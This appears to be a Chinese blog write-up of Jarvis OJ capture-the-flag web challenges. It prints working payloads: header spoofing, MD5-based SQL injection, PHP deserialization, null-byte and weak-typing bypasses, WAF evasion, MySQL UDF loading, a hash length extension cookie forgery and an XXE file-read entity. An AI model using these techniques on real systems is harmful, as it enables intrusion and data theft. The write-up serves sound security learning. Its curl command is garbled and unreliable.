Ashing's Blog

想学的太多 懂得的太少

0%

Jarvis OJ Web WriteUp(1)

PORT51

一上来看有点懵逼,以为是Burp抓包。最后 google 后发现应该在 vps 上(不用 vps 的话经过路由器可能端口就变了)用以下命令就可以。

1
curl --ocal-port http://xxx.com

之前没有接触过 curl,只是在 docker 里面用过一次。

1
2
curl就是:Linux中利用 URL 规则在命令行下工作的文件传输工具,可以说是一款很强大的 http 命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称 curl 为下载工具。 
由于安装linux的时候很多时候是没有安装桌面的,也意味着没有浏览器,因此这个方法也经常用于测试一台服务器是否可以到达一个网站。 当然也可以进行ip伪造等等测试操作。

LOCALHOST

burp 抓包添加头

1
X-Forwarded-For: 127.0.0.1

Login

抓包后发现 Hint:

1
"select * from 'admin' where password='".md5($pass,true)."'"

首先想到MD5注入。

具体原理:

  • 提价传入的 password 如果是特殊字符串,那么该字符串转化为 MD5 再经过 PHP 转化为字符串后变成: 'or'6蒥欓!r,b
  • 那么最后的sql语句则变成: select * fromadminwhere password=''or'6蒥欓!r,b' 即成功闭合了 ‘ bypass成功。

神盾局的秘密

发现 url 里面有 base64 编码。猜测是利用 base64 访问任意文件。 分别读取 index.php,shield.php。审计源码发现存在反序列化漏洞。 通过脚本:

1
2
3
4
5
6
7
<?php
class Shield {
public $file = "pctf.php";
}
$chybeta = new Shield();
print_r(serialize($chybeta));
?>

生成序列化串:

1
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}`

访问:

1
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

查看源码得flag

IN A Mess

右键源码发现注释Hint: index.phps 。访问后,发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi ("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder! harder!";
}
?>

题目意思是:GET传三个字符参数,然后每个参数满足以下条件:

  • 1 id是字符,还需要值为0.所以利用php弱类型0a即可让字符0a转化成数字0

  • 2 a是一个文件(file_get_contents()函数提取a的内容赋值给data),那么可以是自己vps创建一个文件,也可以利用伪协议php://input。

  • 3 b满足长度大于5,eregi()里面满足第一个字符为4,substr()里面又需要满足b首字母=4.那么我们可以利用%00截断:b=%0011111即可绕过substr和eregi(),eregi(“111”,“1114”)满足。同时%00对strlen不会发生截断。

    饶过后发现/^HT2mCpcvOLf访问自动补全: `

    1
    http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1

    猜测是注入漏洞,上 sqlmap 发现有 waf。过滤了空格关键字,空格可以内敛注释绕过,关键字发现只过滤了一次直接双写绕过。然后常规注入得flag。

RE?

一看题目和.so的文件有点害怕,完全没思路。 google后才知道 mysql 可以导入进去。

导入到 plugin 文件中,利用该文件创建函数 help_me(提示): create function help_me returns string soname 'udf.so'

然后 select heilp_me; 提示:use getflag function to obtain your flag! 模仿前面创建一个getflag函数调用的flag。

flag在管理员手里

首先想到前端认证抓个包发现 cookie 里面有个 guest,改成 admin 无果。别的地方貌似没有突破口。那就扫一下敏感目录吧。御剑,AWVS 无果。

发现一个新的py脚本动态多线程工具:weakfilescan 附链接:

1
https://github.com/ring04h/weakfilescan

命令:

1
python wyspider.py http://web.jarvisoj.com:32778

发现有个 index.php~,下载 notepad++ 打开发现乱码,挠头。。。 经过尝试发现 linux 有个查看文件的命令: #file xxx 然后尝试一下发现是: vim swap file 对于swap是交换的意思,google后发现是vim在编辑的时候强制退出而生成的文件,可以用命令: vim -r index.php.swp 来恢复,恢复后发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

发现最关键的是要绕过:

1
$role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]

利用 hash 扩展攻击即可,hash 拓展攻击下篇详细总结一下。可以利用 hashpump 直接爆破出 role 和 hsh。不过需要注意题目反转反序列化传入顺序。 最后payload:

1
2
role = s%3a5%3a"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3a5%3a"guest"%3b`
hsh = fcdc3840332555511c4e4323f6decb07`

[61dctf]admin

抓包后发现貌似和flag在管理员手机的题目有点相似,扫目录发现有 robots.txt。访问后发现 .php 访问的 flag 提交竟然不对。突然发现flag是flag{hello guest},而题目是 admin 显然这是个假 flag。

然后尝试抓包的真flag。

api调用

Hint:请设法获得目标机器/home/ctf/flag.txt中的flag值。

则想办法文件读取。加上题目提示很容易想到调用别的东西来文件读取。

右键看页面源码发现有json和xml。可能就是 xml 注入进行任意文件读取。 抓包把content-type=json改成content-type=xml。然后传一段任意文件读取的xml代码:

1
2
3
4
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY name SYSTEM "file://home/ctf/flag.txt"> ]>
<root>&name;</root>

有关于 xml 的知识之前也是接触过 XEE 外部实体注入漏洞。后面可能出一篇能用的 xml 知识。